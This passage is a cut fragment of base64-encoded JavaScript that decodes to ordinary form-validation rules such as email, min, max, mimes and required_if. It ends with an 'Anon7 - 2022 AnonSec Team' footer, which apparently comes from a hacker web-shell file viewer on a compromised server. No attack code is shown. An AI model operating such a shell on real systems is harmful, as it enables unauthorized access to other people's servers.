nZhciBwYXJhbXMkYyA9IFt7CiAgbmFtZTogJ211bHRpcGxlJywKICBkZWZhdWx0OiBmYWxzZQp9XTsKdmFyIGVtYWlsID0gewogIHZhbGlkYXRlOiB2YWxpZGF0ZSRqLAogIHBhcmFtczogcGFyYW1zJGMKfTsKZnVuY3Rpb24gaXNOdWxsT3JVbmRlZmluZWQodmFsdWUpIHsKICByZXR1cm4gdmFsdWUgPT09IG51bGwgfHwgdmFsdWUgPT09IHVuZGVmaW5lZDsKfQpmdW5jdGlvbiBpc0VtcHR5QXJyYXkoYXJyKSB7CiAgcmV0dXJuIEFycmF5LmlzQXJyYXkoYXJyKSAmJiBhcnIubGVuZ3RoID09PSAwOwp9Ci8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBAdHlwZXNjcmlwdC1lc2xpbnQvYmFuLXR5cGVzCmZ1bmN0aW9uIGlzQ2FsbGFibGUoZm4pIHsKICByZXR1cm4gdHlwZW9mIGZuID09PSAnZnVuY3Rpb24nOwp9CmZ1bmN0aW9uIGluY2x1ZGVzKGNvbGxlY3Rpb24sIGl0ZW0pIHsKICByZXR1cm4gY29sbGVjdGlvbi5pbmRleE9mKGl0ZW0pICE9PSAtMTsKfQovKioNCiAqIENvbnZlcnRzIGFuIGFycmF5LWxpa2Ugb2JqZWN0IHRvIGFycmF5LCBwcm92aWRlcyBhIHNpbXBsZSBwb2x5ZmlsbCBmb3IgQXJyYXkuZnJvbQ0KICovCmZ1bmN0aW9uIHRvQXJyYXkoYXJyYXlMaWtlKSB7CiAgaWYgKGlzQ2FsbGFibGUoQXJyYXkuZnJvbSkpIHsKICAgIHJldHVybiBBcnJheS5mcm9tKGFycmF5TGlrZSk7CiAgfQogIC8qIGlzdGFuYnVsIGlnbm9yZSBuZXh0ICovCiAgcmV0dXJuIF9jb3B5QXJyYXkoYXJyYXlMaWtlKTsKfQovKiBpc3RhbmJ1bCBpZ25vcmUgbmV4dCAqLwpmdW5jdGlvbiBfY29weUFycmF5KGFycmF5TGlrZSkgewogIHZhciBhcnJheSA9IFtdOwogIHZhciBsZW5ndGggPSBhcnJheUxpa2UubGVuZ3RoOwogIGZvciAodmFyIGkgPSAwOyBpIDwgbGVuZ3RoOyBpKyspIHsKICAgIGFycmF5LnB1c2goYXJyYXlMaWtlW2ldKTsKICB9CiAgcmV0dXJuIGFycmF5Owp9CnZhciB2YWxpZGF0ZSRpID0gZnVuY3Rpb24gKHZhbHVlLCBvcHRpb25zKSB7CiAgaWYgKEFycmF5LmlzQXJyYXkodmFsdWUpKSB7CiAgICByZXR1cm4gdmFsdWUuZXZlcnkoZnVuY3Rpb24gKHZhbCkgewogICAgICByZXR1cm4gdmFsaWRhdGUkaSh2YWwsIG9wdGlvbnMpOwogICAgfSk7CiAgfQogIHJldHVybiB0b0FycmF5KG9wdGlvbnMpLnNvbWUoZnVuY3Rpb24gKGl0ZW0pIHsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZQogICAgcmV0dXJuIGl0ZW0gPT0gdmFsdWU7CiAgfSk7Cn07CnZhciBvbmVPZiA9IHsKICB2YWxpZGF0ZTogdmFsaWRhdGUkaQp9Owp2YXIgdmFsaWRhdGUkaCA9IGZ1bmN0aW9uICh2YWx1ZSwgYXJncykgewogIHJldHVybiAhdmFsaWRhdGUkaSh2YWx1ZSwgYXJncyk7Cn07CnZhciBleGNsdWRlZCA9IHsKICB2YWxpZGF0ZTogdmFsaWRhdGUkaAp9Owp2YXIgdmFsaWRhdGUkZyA9IGZ1bmN0aW9uIChmaWxlcywgZXh0ZW5zaW9ucykgewogIHZhciByZWdleCA9IG5ldyBSZWdFeHAoIi4oIiArIGV4dGVuc2lvbnMuam9pbignfCcpICsgIikkIiwgJ2knKTsKICBpZiAoQXJyYXkuaXNBcnJheShmaWxlcykpIHsKICAgIHJldHVybiBmaWxlcy5ldmVyeShmdW5jdGlvbiAoZmlsZSkgewogICAgICByZXR1cm4gcmVnZXgudGVzdChmaWxlLm5hbWUpOwogICAgfSk7CiAgfQogIHJldHVybiByZWdleC50ZXN0KGZpbGVzLm5hbWUpOwp9Owp2YXIgZXh0ID0gewogIHZhbGlkYXRlOiB2YWxpZGF0ZSRnCn07CnZhciB2YWxpZGF0ZSRmID0gZnVuY3Rpb24gKGZpbGVzKSB7CiAgdmFyIHJlZ2V4ID0gL1wuKGpwZ3xzdmd8anBlZ3xwbmd8Ym1wfGdpZnx3ZWJwKSQvaTsKICBpZiAoQXJyYXkuaXNBcnJheShmaWxlcykpIHsKICAgIHJldHVybiBmaWxlcy5ldmVyeShmdW5jdGlvbiAoZmlsZSkgewogICAgICByZXR1cm4gcmVnZXgudGVzdChmaWxlLm5hbWUpOwogICAgfSk7CiAgfQogIHJldHVybiByZWdleC50ZXN0KGZpbGVzLm5hbWUpOwp9Owp2YXIgaW1hZ2UgPSB7CiAgdmFsaWRhdGU6IHZhbGlkYXRlJGYKfTsKdmFyIHZhbGlkYXRlJGUgPSBmdW5jdGlvbiAodmFsdWUpIHsKICBpZiAoQXJyYXkuaXNBcnJheSh2YWx1ZSkpIHsKICAgIHJldHVybiB2YWx1ZS5ldmVyeShmdW5jdGlvbiAodmFsKSB7CiAgICAgIHJldHVybiAvXi0/WzAtOV0rJC8udGVzdChTdHJpbmcodmFsKSk7CiAgICB9KTsKICB9CiAgcmV0dXJuIC9eLT9bMC05XSskLy50ZXN0KFN0cmluZyh2YWx1ZSkpOwp9Owp2YXIgaW50ZWdlciA9IHsKICB2YWxpZGF0ZTogdmFsaWRhdGUkZQp9Owp2YXIgdmFsaWRhdGUkZCA9IGZ1bmN0aW9uICh2YWx1ZSwgX2EpIHsKICB2YXIgb3RoZXIgPSBfYS5vdGhlcjsKICByZXR1cm4gdmFsdWUgPT09IG90aGVyOwp9Owp2YXIgcGFyYW1zJGIgPSBbewogIG5hbWU6ICdvdGhlcicKfV07CnZhciBpcyA9IHsKICB2YWxpZGF0ZTogdmFsaWRhdGUkZCwKICBwYXJhbXM6IHBhcmFtcyRiCn07CnZhciB2YWxpZGF0ZSRjID0gZnVuY3Rpb24gKHZhbHVlLCBfYSkgewogIHZhciBvdGhlciA9IF9hLm90aGVyOwogIHJldHVybiB2YWx1ZSAhPT0gb3RoZXI7Cn07CnZhciBwYXJhbXMkYSA9IFt7CiAgbmFtZTogJ290aGVyJwp9XTsKdmFyIGlzX25vdCA9IHsKICB2YWxpZGF0ZTogdmFsaWRhdGUkYywKICBwYXJhbXM6IHBhcmFtcyRhCn07CnZhciB2YWxpZGF0ZSRiID0gZnVuY3Rpb24gKHZhbHVlLCBfYSkgewogIHZhciBsZW5ndGggPSBfYS5sZW5ndGg7CiAgaWYgKGlzTnVsbE9yVW5kZWZpbmVkKHZhbHVlKSkgewogICAgcmV0dXJuIGZhbHNlOwogIH0KICBpZiAodHlwZW9mIHZhbHVlID09PSAnc3RyaW5nJykgewogICAgdmFsdWUgPSB0b0FycmF5KHZhbHVlKTsKICB9CiAgaWYgKHR5cGVvZiB2YWx1ZSA9PT0gJ251bWJlcicpIHsKICAgIHZhbHVlID0gU3RyaW5nKHZhbHVlKTsKICB9CiAgaWYgKCF2YWx1ZS5sZW5ndGgpIHsKICAgIHZhbHVlID0gdG9BcnJheSh2YWx1ZSk7CiAgfQogIHJldHVybiB2YWx1ZS5sZW5ndGggPT09IGxlbmd0aDsKfTsKdmFyIHBhcmFtcyQ5ID0gW3sKICBuYW1lOiAnbGVuZ3RoJywKICBjYXN0OiBmdW5jdGlvbiAodmFsdWUpIHsKICAgIHJldHVybiBOdW1iZXIodmFsdWUpOwogIH0KfV07CnZhciBsZW5ndGggPSB7CiAgdmFsaWRhdGU6IHZhbGlkYXRlJGIsCiAgcGFyYW1zOiBwYXJhbXMkOQp9Owp2YXIgdmFsaWRhdGUkYSA9IGZ1bmN0aW9uICh2YWx1ZSwgX2EpIHsKICB2YXIgbGVuZ3RoID0gX2EubGVuZ3RoOwogIGlmIChpc051bGxPclVuZGVmaW5lZCh2YWx1ZSkpIHsKICAgIHJldHVybiBsZW5ndGggPj0gMDsKICB9CiAgaWYgKEFycmF5LmlzQXJyYXkodmFsdWUpKSB7CiAgICByZXR1cm4gdmFsdWUuZXZlcnkoZnVuY3Rpb24gKHZhbCkgewogICAgICByZXR1cm4gdmFsaWRhdGUkYSh2YWwsIHsKICAgICAgICBsZW5ndGg6IGxlbmd0aAogICAgICB9KTsKICAgIH0pOwogIH0KICByZXR1cm4gU3RyaW5nKHZhbHVlKS5sZW5ndGggPD0gbGVuZ3RoOwp9Owp2YXIgcGFyYW1zJDggPSBbewogIG5hbWU6ICdsZW5ndGgnLAogIGNhc3Q6IGZ1bmN0aW9uICh2YWx1ZSkgewogICAgcmV0dXJuIE51bWJlcih2YWx1ZSk7CiAgfQp9XTsKdmFyIG1heCA9IHsKICB2YWxpZGF0ZTogdmFsaWRhdGUkYSwKICBwYXJhbXM6IHBhcmFtcyQ4Cn07CnZhciB2YWxpZGF0ZSQ5ID0gZnVuY3Rpb24gKHZhbHVlLCBfYSkgewogIHZhciBtYXggPSBfYS5tYXg7CiAgaWYgKGlzTnVsbE9yVW5kZWZpbmVkKHZhbHVlKSB8fCB2YWx1ZSA9PT0gJycpIHsKICAgIHJldHVybiBmYWxzZTsKICB9CiAgaWYgKEFycmF5LmlzQXJyYXkodmFsdWUpKSB7CiAgICByZXR1cm4gdmFsdWUubGVuZ3RoID4gMCAmJiB2YWx1ZS5ldmVyeShmdW5jdGlvbiAodmFsKSB7CiAgICAgIHJldHVybiB2YWxpZGF0ZSQ5KHZhbCwgewogICAgICAgIG1heDogbWF4CiAgICAgIH0pOwogICAgfSk7CiAgfQogIHJldHVybiBOdW1iZXIodmFsdWUpIDw9IG1heDsKfTsKdmFyIHBhcmFtcyQ3ID0gW3sKICBuYW1lOiAnbWF4JywKICBjYXN0OiBmdW5jdGlvbiAodmFsdWUpIHsKICAgIHJldHVybiBOdW1iZXIodmFsdWUpOwogIH0KfV07CnZhciBtYXhfdmFsdWUgPSB7CiAgdmFsaWRhdGU6IHZhbGlkYXRlJDksCiAgcGFyYW1zOiBwYXJhbXMkNwp9Owp2YXIgdmFsaWRhdGUkOCA9IGZ1bmN0aW9uIChmaWxlcywgbWltZXMpIHsKICB2YXIgcmVnZXggPSBuZXcgUmVnRXhwKG1pbWVzLmpvaW4oJ3wnKS5yZXBsYWNlKCcqJywgJy4rJykgKyAiJCIsICdpJyk7CiAgaWYgKEFycmF5LmlzQXJyYXkoZmlsZXMpKSB7CiAgICByZXR1cm4gZmlsZXMuZXZlcnkoZnVuY3Rpb24gKGZpbGUpIHsKICAgICAgcmV0dXJuIHJlZ2V4LnRlc3QoZmlsZS50eXBlKTsKICAgIH0pOwogIH0KICByZXR1cm4gcmVnZXgudGVzdChmaWxlcy50eXBlKTsKfTsKdmFyIG1pbWVzID0gewogIHZhbGlkYXRlOiB2YWxpZGF0ZSQ4Cn07CnZhciB2YWxpZGF0ZSQ3ID0gZnVuY3Rpb24gKHZhbHVlLCBfYSkgewogIHZhciBsZW5ndGggPSBfYS5sZW5ndGg7CiAgaWYgKGlzTnVsbE9yVW5kZWZpbmVkKHZhbHVlKSkgewogICAgcmV0dXJuIGZhbHNlOwogIH0KICBpZiAoQXJyYXkuaXNBcnJheSh2YWx1ZSkpIHsKICAgIHJldHVybiB2YWx1ZS5ldmVyeShmdW5jdGlvbiAodmFsKSB7CiAgICAgIHJldHVybiB2YWxpZGF0ZSQ3KHZhbCwgewogICAgICAgIGxlbmd0aDogbGVuZ3RoCiAgICAgIH0pOwogICAgfSk7CiAgfQogIHJldHVybiBTdHJpbmcodmFsdWUpLmxlbmd0aCA+PSBsZW5ndGg7Cn07CnZhciBwYXJhbXMkNiA9IFt7CiAgbmFtZTogJ2xlbmd0aCcsCiAgY2FzdDogZnVuY3Rpb24gKHZhbHVlKSB7CiAgICByZXR1cm4gTnVtYmVyKHZhbHVlKTsKICB9Cn1dOwp2YXIgbWluID0gewogIHZhbGlkYXRlOiB2YWxpZGF0ZSQ3LAogIHBhcmFtczogcGFyYW1zJDYKfTsKdmFyIHZhbGlkYXRlJDYgPSBmdW5jdGlvbiAodmFsdWUsIF9hKSB7CiAgdmFyIG1pbiA9IF9hLm1pbjsKICBpZiAoaXNOdWxsT3JVbmRlZmluZWQodmFsdWUpIHx8IHZhbHVlID09PSAnJykgewogICAgcmV0dXJuIGZhbHNlOwogIH0KICBpZiAoQXJyYXkuaXNBcnJheSh2YWx1ZSkpIHsKICAgIHJldHVybiB2YWx1ZS5sZW5ndGggPiAwICYmIHZhbHVlLmV2ZXJ5KGZ1bmN0aW9uICh2YWwpIHsKICAgICAgcmV0dXJuIHZhbGlkYXRlJDYodmFsLCB7CiAgICAgICAgbWluOiBtaW4KICAgICAgfSk7CiAgICB9KTsKICB9CiAgcmV0dXJuIE51bWJlcih2YWx1ZSkgPj0gbWluOwp9Owp2YXIgcGFyYW1zJDUgPSBbewogIG5hbWU6ICdtaW4nLAogIGNhc3Q6IGZ1bmN0aW9uICh2YWx1ZSkgewogICAgcmV0dXJuIE51bWJlcih2YWx1ZSk7CiAgfQp9XTsKdmFyIG1pbl92YWx1ZSA9IHsKICB2YWxpZGF0ZTogdmFsaWRhdGUkNiwKICBwYXJhbXM6IHBhcmFtcyQ1Cn07CnZhciBhciA9IC9eW9mg2aHZotmj2aTZpdmm2afZqNmpXSskLzsKdmFyIGVuID0gL15bMC05XSskLzsKdmFyIHZhbGlkYXRlJDUgPSBmdW5jdGlvbiAodmFsdWUpIHsKICB2YXIgdGVzdFZhbHVlID0gZnVuY3Rpb24gKHZhbCkgewogICAgdmFyIHN0clZhbHVlID0gU3RyaW5nKHZhbCk7CiAgICByZXR1cm4gZW4udGVzdChzdHJWYWx1ZSkgfHwgYXIudGVzdChzdHJWYWx1ZSk7CiAgfTsKICBpZiAoQXJyYXkuaXNBcnJheSh2YWx1ZSkpIHsKICAgIHJldHVybiB2YWx1ZS5ldmVyeSh0ZXN0VmFsdWUpOwogIH0KICByZXR1cm4gdGVzdFZhbHVlKHZhbHVlKTsKfTsKdmFyIG51bWVyaWMgPSB7CiAgdmFsaWRhdGU6IHZhbGlkYXRlJDUKfTsKdmFyIHZhbGlkYXRlJDQgPSBmdW5jdGlvbiAodmFsdWUsIF9hKSB7CiAgdmFyIHJlZ2V4ID0gX2EucmVnZXg7CiAgaWYgKEFycmF5LmlzQXJyYXkodmFsdWUpKSB7CiAgICByZXR1cm4gdmFsdWUuZXZlcnkoZnVuY3Rpb24gKHZhbCkgewogICAgICByZXR1cm4gdmFsaWRhdGUkNCh2YWwsIHsKICAgICAgICByZWdleDogcmVnZXgKICAgICAgfSk7CiAgICB9KTsKICB9CiAgcmV0dXJuIHJlZ2V4LnRlc3QoU3RyaW5nKHZhbHVlKSk7Cn07CnZhciBwYXJhbXMkNCA9IFt7CiAgbmFtZTogJ3JlZ2V4JywKICBjYXN0OiBmdW5jdGlvbiAodmFsdWUpIHsKICAgIGlmICh0eXBlb2YgdmFsdWUgPT09ICdzdHJpbmcnKSB7CiAgICAgIHJldHVybiBuZXcgUmVnRXhwKHZhbHVlKTsKICAgIH0KICAgIHJldHVybiB2YWx1ZTsKICB9Cn1dOwp2YXIgcmVnZXggPSB7CiAgdmFsaWRhdGU6IHZhbGlkYXRlJDQsCiAgcGFyYW1zOiBwYXJhbXMkNAp9Owp2YXIgdmFsaWRhdGUkMyA9IGZ1bmN0aW9uICh2YWx1ZSwgX2EpIHsKICB2YXIgYWxsb3dGYWxzZSA9IChfYSA9PT0gdm9pZCAwID8gewogICAgYWxsb3dGYWxzZTogdHJ1ZQogIH0gOiBfYSkuYWxsb3dGYWxzZTsKICB2YXIgcmVzdWx0ID0gewogICAgdmFsaWQ6IGZhbHNlLAogICAgcmVxdWlyZWQ6IHRydWUKICB9OwogIGlmIChpc051bGxPclVuZGVmaW5lZCh2YWx1ZSkgfHwgaXNFbXB0eUFycmF5KHZhbHVlKSkgewogICAgcmV0dXJuIHJlc3VsdDsKICB9CiAgLy8gaW5jYXNlIGEgZmllbGQgY29uc2lkZXJzIGBmYWxzZWAgYXMgYW4gZW1wdHkgdmFsdWUgbGlrZSBjaGVja2JveGVzLgogIGlmICh2YWx1ZSA9PT0gZmFsc2UgJiYgIWFsbG93RmFsc2UpIHsKICAgIHJldHVybiByZXN1bHQ7CiAgfQogIHJlc3VsdC52YWxpZCA9ICEhU3RyaW5nKHZhbHVlKS50cmltKCkubGVuZ3RoOwogIHJldHVybiByZXN1bHQ7Cn07CnZhciBjb21wdXRlc1JlcXVpcmVkJDEgPSB0cnVlOwp2YXIgcGFyYW1zJDMgPSBbewogIG5hbWU6ICdhbGxvd0ZhbHNlJywKICBkZWZhdWx0OiB0cnVlCn1dOwp2YXIgcmVxdWlyZWQgPSB7CiAgdmFsaWRhdGU6IHZhbGlkYXRlJDMsCiAgcGFyYW1zOiBwYXJhbXMkMywKICBjb21wdXRlc1JlcXVpcmVkOiBjb21wdXRlc1JlcXVpcmVkJDEKfTsKdmFyIHRlc3RFbXB0eSA9IGZ1bmN0aW9uICh2YWx1ZSkgewogIHJldHVybiBpc0VtcHR5QXJyYXkodmFsdWUpIHx8IGluY2x1ZGVzKFtmYWxzZSwgbnVsbCwgdW5kZWZpbmVkXSwgdmFsdWUpIHx8ICFTdHJpbmcodmFsdWUpLnRyaW0oKS5sZW5ndGg7Cn07CnZhciB2YWxpZGF0ZSQyID0gZnVuY3Rpb24gKHZhbHVlLCBfYSkgewogIHZhciB0YXJnZXQgPSBfYS50YXJnZXQsCiAgICB2YWx1ZXMgPSBfYS52YWx1ZXM7CiAgdmFyIHJlcXVpcmVkOwogIGlmICh2YWx1ZXMgJiYgdmFsdWVzLmxlbmd0aCkgewogICAgaWYgKCFBcnJheS5pc0FycmF5KHZhbHVlcykgJiYgdHlwZW9mIHZhbHVlcyA9PT0gJ3N0cmluZycpIHsKICAgICAgdmFsdWVzID0gW3ZhbHVlc107CiAgICB9CiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUKICAgIHJlcXVpcmVkID0gdmFsdWVzLnNvbWUoZnVuY3Rpb24gKHZhbCkgewogICAgICByZXR1cm4gdmFsID09IFN0cmluZyh0YXJnZXQpLnRyaW0oKTsKICAgIH0pOwogIH0gZWxzZSB7CiAgICByZXF1aXJlZCA9ICF0ZXN0RW1wdHkodGFyZ2V0KTsKICB9CiAgaWYgKCFyZXF1aXJlZCkgewogICAgcmV0dXJuIHsKICAgICAgdmFsaWQ6IHRydWUsCiAgICAgIHJlcXVpcmVkOiByZXF1aXJlZAogICAgfTsKICB9CiAgcmV0dXJuIHsKICAgIHZhbGlkOiAhdGVzdEVtcHR5KHZhbHVlKSwKICAgIHJlcXVpcmVkOiByZXF1aXJlZAogIH07Cn07CnZhciBwYXJhbXMkMiA9IFt7CiAgbmFtZTogJ3RhcmdldCcsCiAgaXNUYXJnZXQ6IHRydWUKfSwgewogIG5hbWU6ICd2YWx1ZXMnCn1dOwp2YXIgY29tcHV0ZXNSZXF1aXJlZCA9IHRydWU7CnZhciByZXF1aXJlZF9pZiA9IHsKICB2YWxpZGF0ZTogdmFsaWRhdGUkMiwKICBwYXJhbXM6IHBhcmFtcyQyLAogIGNvbXB1dGVzUmVxdWlyZWQ6IGNvbXB1dGVzUmVxdWlyZWQKfTsKdmFyIHZhbGlkYXRlJDEgPSBmdW5jdGlvbiAoZmlsZXMsIF9hKSB7CiAgdmFyIHNpemUgPSBfYS5zaXplOwogIGlmIChpc05hTihzaXplKSkgewogICAgcmV0dXJuIGZhbHNlOwogIH0KICB2YXIgblNpemUgPSBzaXplICogMTAyNDsKICBpZiAoIUFycmF5LmlzQXJyYXkoZmlsZXMpKSB7CiAgICByZXR1cm4gZmlsZXMuc2l6ZSA8PSBuU2l6ZTsKICB9CiAgZm9yICh2YXIgaSA9IDA7IGkgPCBmaWxlcy5sZW5ndGg7IGkrKykgewogICAgaWYgKGZpbGVzW2ldLnNpemUgPiBuU2l6ZSkgewogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgfQogIHJldHVybiB0cnVlOwp9Owp2YXIgcGFyYW1zJDEgPSBbewogIG5hbWU6ICdzaXplJywKICBjYXN0OiBmdW5jdGlvbiAodmFsdWUpIHsKICAgIHJldHVybiBOdW1iZXIodmFsdWUpOwogIH0KfV07CnZhciBzaXplID0gewogIHZhbGlkYXRlOiB2YWxpZGF0ZSQxLAogIHBhcmFtczogcGFyYW1zJDEKfTsKdmFyIHZhbGlkYXRlID0gZnVuY3Rpb24gKHZhbHVlLCBwYXJhbXMpIHsKICB2YXIgX2EgPSBwYXJhbXMgfHwge30sCiAgICBfYiA9IF9hLmRlY2ltYWxzLAogICAgZGVjaW1hbHMgPSBfYiA9PT0gdm9pZCAwID8gMCA6IF9iLAogICAgX2MgPSBfYS5zZXBhcmF0b3IsCiAgICBzZXBhcmF0b3IgPSBfYyA9PT0gdm9pZCAwID8gJ2RvdCcgOiBfYzsKICB2YXIgZGVsaW1pdGVyUmVnZXhQYXJ0ID0gc2VwYXJhdG9yID09PSAnY29tbWEnID8gJyw/JyA6ICdcXC4/JzsKICB2YXIgZGVjaW1hbFJlZ2V4UGFydCA9IGRlY2ltYWxzID09PSAwID8gJ1xcZConIDogIihcXGR7IiArIGRlY2ltYWxzICsgIn0pPyI7CiAgdmFyIHJlZ2V4ID0gbmV3IFJlZ0V4cCgiXi0/XFxkKyIgKyBkZWxpbWl0ZXJSZWdleFBhcnQgKyBkZWNpbWFsUmVnZXhQYXJ0ICsgIiQiKTsKICByZXR1cm4gQXJyYXkuaXNBcnJheSh2YWx1ZSkgPyB2YWx1ZS5ldmVyeShmdW5jdGlvbiAodmFsKSB7CiAgICByZXR1cm4gcmVnZXgudGVzdChTdHJpbmcodmFsKSk7CiAgfSkgOiByZWdleC50ZXN0KFN0cmluZyh2YWx1ZSkpOwp9Owp2YXIgcGFyYW1zID0gW3sKICBuYW1lOiAnZGVjaW1hbHMnLAogIGRlZmF1bHQ6IDAKfSwgewogIG5hbWU6ICdzZXBhcmF0b3InLAogIGRlZmF1bHQ6ICdkb3QnCn1dOwp2YXIgZG91YmxlID0gewogIHZhbGlkYXRlOiB2YWxpZGF0ZSwKICBwYXJhbXM6IHBhcmFtcwp9OwpleHBvcnQgeyBhbHBoYSwgYWxwaGFfZGFzaCwgYWxwaGFfbnVtLCBhbHBoYV9zcGFjZXMsIGJldHdlZW4sIGNvbmZpcm1lZCwgZGlnaXRzLCBkaW1lbnNpb25zLCBkb3VibGUsIGVtYWlsLCBleGNsdWRlZCwgZXh0LCBpbWFnZSwgaW50ZWdlciwgaXMsIGlzX25vdCwgbGVuZ3RoLCBtYXgsIG1heF92YWx1ZSwgbWltZXMsIG1pbiwgbWluX3ZhbHVlLCBudW1lcmljLCBvbmVPZiwgcmVnZXgsIHJlcXVpcmVkLCByZXF1aXJlZF9pZiwgc2l6ZSB9Ow=="},null]}

Anon7 - 2022
AnonSec Team